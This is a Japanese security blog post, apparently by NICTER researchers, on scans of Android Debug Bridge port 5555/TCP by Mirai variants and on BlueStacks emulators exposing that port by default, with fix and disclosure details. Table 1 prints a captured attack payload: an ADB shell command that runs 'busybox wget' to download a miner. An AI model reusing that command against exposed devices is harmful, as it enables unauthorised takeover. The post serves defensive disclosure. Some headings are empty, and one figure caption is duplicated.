継続する 5555/TCP ポート宛攻撃通信と ADB が有効化された脆弱な Android エミュレータについて

はじめに

2018年2月以降,Android Debug Bridge(以降「ADB」)が使用する 5555/TCP ポートを狙った攻撃通信が観測されているという情報が,警察庁@policeによる注意喚起(2018年3月12日)をはじめ,セキュリティベンダのブログ等複数のメディアで報じられています.

NICTER のダークネットにおいても 2018年の2月以降,5555/TCPを宛先ポートとする同様の通信を観測しています.本ブログでは,5555/TCP ポート宛通信に関する NICTER の観測状況を紹介するとともに,5555/TCP で待ち受ける Android 機器に関して調査した結果の一部を紹介します.

5555/TCP ポート宛通信の観測状況

2018年に入ってから,5555/TCP ポート宛通信の増加を観測しています.図1と図2に,2018年1月1日から2018年9月30日までの期間の NICTER ダークネットにおける観測状況を示します.

全体の統計をみると(図1),2月ごろから顕著な通信が観測されるようになり,7月9日にはその数が約10倍に増え,約17万ホストからの通信があったことが分かります.その後もホスト数とパケット数の増減はみられるものの,依然として 5555/TCP を狙った攻撃が続いていることが見て取れます.

/posts/2018-05/5555-all.png

図1. 5555/TCP ポートあて通信の推移 [全体](赤:パケット数,緑:ホスト数)

日本国内の状況に目を向けると(図2),同様に2月より顕著な通信が見られ始め,ピーク時の7月30日には約560ホストからの通信を確認しました.10月に入ってからも,約300ホスト前後からの通信を観測する状況が継続しています.

/posts/2018-05/5555-jp.png

図2. 5555/TCP ポートあて通信の推移 [送信元が日本国内](黄:パケット数,青:ホスト数)

ハニーポットを使って 5555/TCP ポート宛の通信内容を確認すると,adb デバッグが有効化されている Android 機器等に対して adb connect を実行して接続し,UNIXシェルを介して仮想通貨のマイニングプログラムをダウンロードし,インストールしようとする通信であることを確認しました.

表1. 5555/TCP ポート宛ペイロードの一部

00000000  4f 50 45 4e ea 03 00 00  00 00 00 00 82 00 00 00  |OPEN............|
00000010  9d 25 00 00 b0 af ba b1  73 68 65 6c 6c 3a 63 64  |.%......shell:cd|
00000020  20 2f 64 61 74 61 2f 6c  6f 63 61 6c 2f 74 6d 70  | /data/local/tmp|
00000030  2f 3b 20 62 75 73 79 62  6f 78 20 77 67 65 74 20  |/; busybox wget |
...

マイニングプログラムへの感染プロセスの詳細については,トレンドマイクロ社のセキュリティブログ『Android 端末の ADB ポートが「Mirai」の亜種「Satori」の拡散に利用されていることを確認』(2018年8月22日)で詳細に解説されていますので,そちらをご参照ください.

5555/TCP ポートあて通信の大半は,TCPのシーケンス番号 == 宛先IPアドレスという「Mirai」の特徴を持つものでした.したがって「Mirai」あるいはその亜種に 5555/TCP ポートを探索する機能が追加されたと考えられます.

5555/TCP ポートで待ち受ける機器

さて攻撃のターゲットとなる 5555/TCP ポートの先にはどのような機器が存在するのでしょうか?

SHODAN が提供する情報によると 5555/TCP ポートを開けて待ち受けるホストは,全世界で約123万ホスト存在します(2018年9月11日時点.以下,SHODANの情報はこの時点の情報を参照).このポートを製品/サービス種類別に分類したデータ(“TOP PRODUCTS”)をみると,最も多いのは ADB で,その数は約4万ホストあります.

ADBが動作するホストを国別に上位10カ国見ると,最も多いのが台湾の約1万ホスト.続いて韓国,中国とアジア諸国が上位を占め,日本には8番目に多い800ホストが存在することが分かりました.

表2. ADB が動作するホスト数(国別)

順位   国名     ホスト数
---------------------
1     台湾      10,144
2     韓国       9,615
3     中国       6,571
4     米国       2,962
5     ロシア     2,361
6     香港       1,996
7     ベネズエラ  1,208
8     日本         800
9     スウェーデン  529
10    ウクライナ    436

日本国内に存在する800ホストに着目しその特徴を調べたところ,これらのホストはおおよそ次の3つのグループに分類されることが分かりました.

  1. ADSLやFTTHなどのプロバイダを利用し,海外メーカ製スマートフォンの機種名が表示される
  2. ケーブルテレビやマンション等のプロバイダに接続されている機器(機種は不明)
  3. モバイル回線に接続されてる機器(機種は不明)

SHODAN から得られた情報を元にさらに調査を行った結果,上記の1と2のグループについて,製品を特定することができました.

本ブログでは 1 のグループのうち特定した機器について報告します.

機器の特定

1 の海外メーカ製スマートフォンの実機を含む研究所内にある10数台のスマートフォンを確認しましたが,ADBが有効になっている端末は存在せず,また,Android標準の「設定アプリ」の設定項目「開発者オプション」にもネットワーク経由でADB接続を有効にする項目が存在しないことから,これらは機種の実機がネットワークにつながっているのではなく,実在する機種名が設定されたエミュレータなのではないか,と推測しました.

エミュレータとは,ある実行環境で動くプログラムを別の実行環境で動かすため仮想化技術の1つです.Androidアプリは,Android OSが動作する機器にインストールして実行されるのが一般的ですが,Windows や Mac といった PC 上でエミュレータを実行し,その中で実行することが可能です.Android エミュレータには,Google 社が開発者向けに公式に提供する統合開発環境(IDE)Android Studio に含まれるエミュレータのほかにも,無償で利用できるものが十数種類存在します.このようなエミュレータは,Android 用のゲームアプリ等を PC や Mac など異なるプラットフォーム上で実行するためのツールとして一部のユーザに人気があるようです.

ADB が有効化され,5555/TCP ポートで通信を待ち受ける Android エミュレータ

これらのエミュレータを調査したところ,BlueStack Systems 社が提供する BlueStacks がインストール後のデフォルトの環境において,ADBが有効化されていることが分かりました.

/posts/2018-05/bluestack-getprop.png

図3. BlueStacks における adb getprop の実行結果(海外製スマートフォンの機種名が設定されている)

Windows10 端末に BlueStacks をインストールして確認したところ,Windows のファイアーウォールが有効であっても BlueStacks が起動した時点で 5555/TCP ポートで待受け開始することを確認しました.macOS 10.14 においても同様に,5555/TCP ポートで接続を待ち受けます.

表3. BlueStacks が LISTEN しているポート一覧(mac)

$ sudo lsof -i -P |grep "LISTEN"
...
BlueStack 22779   nicter  20u  IPv4 0x680de0fd12599d77   0t0   TCP localhost:2862 (LISTEN)
BlueStack 22779   nicter  21u  IPv6 0x680de0fcf46c1a6f   0t0   TCP localhost:2862 (LISTEN)
BlueStack 22779   nicter  22u  IPv4 0x680de0fd12598ab7   0t0   TCP localhost:2861 (LISTEN)
BlueStack 22779   nicter  23u  IPv6 0x680de0fcf46c25ef   0t0   TCP localhost:2861 (LISTEN)
BlueStack 22779   nicter  35u  IPv4 0x680de0fd1258f6d7   0t0   TCP *:5555 (LISTEN)
BlueStack 22779   nicter  36u  IPv4 0x680de0fd1258e417   0t0   TCP *:9999 (LISTEN)

ADB 有効化の脅威

ADB は通常 USB を介して使用しますが,5555/TCP ポートで待ち受けるように設定することで,Wi-Fi などのネットワークを介して使えるようになります.さらに,ADB には認証の仕組みがありません.

したがって,グローバル IP アドレスが割り振られるPC等で BlueStacks を実行すると,ユーザが気づかないうちに,攻撃者によってインターネット経由でエミュレータに接続され,adb コマンドを実行される可能性があります.adb コマンドの機能は様々ですが,エミュレータへの Android アプリのインストール,エミュレータからのデータの持出し,アプリ(アクティビティ)の起動や停止を実行できるため,悪性プログラムや悪性Androidアプリ等をエミュレータにインストールして実行することなどが可能になります.

ただし,PCがインターネットへ直接接続していないルータを経由してインターネットに接続する環境では,NAPT(IPマスカレード)の設定が正しく行われていない可能性があります.実際,オンラインゲーム用に NAPT の設定を解説するページにおいて,セキュリティ上の危険性を記載せず,簡単ポート開放と称してDMZに PC を配置する設定を推奨するものも見受けられます.PCやゲーム機等でオンラインゲームを行うために,セキュリティ上のリスクをよく理解しないまま設定を行い,その設定が放置されているようなユーザもいるのではないでしょうか.

/posts/2018-05/5555-network.png

図4. 攻撃の被害を受ける可能性のある BlueStacks ユーザのネットワーク環境図2. 5555/TCP ポートあて通信の推移 [送信元が日本国内](黄:パケット数,青:ホスト数)

インターネットに直接つながる機器において ADB が有効になっていないかいまいちど確認し,有効になっている場合はただちに無効化することが推奨されます.

脆弱性情報

対策方法

Windows版のBlueStacks ユーザ

  • 最新版の BlueStacks をダウンロードする
  • ソフトウェアの更新機能を使って最新版にアップデートする

macOS 版のBlueStacks ユーザ

Appendix

Timeline

  • 2018年8月9日 情報セキュリティ早期警戒パートナーシップに基づき,IPA / JPCERT/CC に脆弱性を報告
  • 2018年8月28日 JPCERT/CC から開発ベンダに脆弱性が通知される
  • 2018年10月19日 ベンダが脆弱性および修正版を一般に公表
  • 2018年10月24日 JVN 公表「BlueStacks App Player におけるアクセス制限不備の脆弱性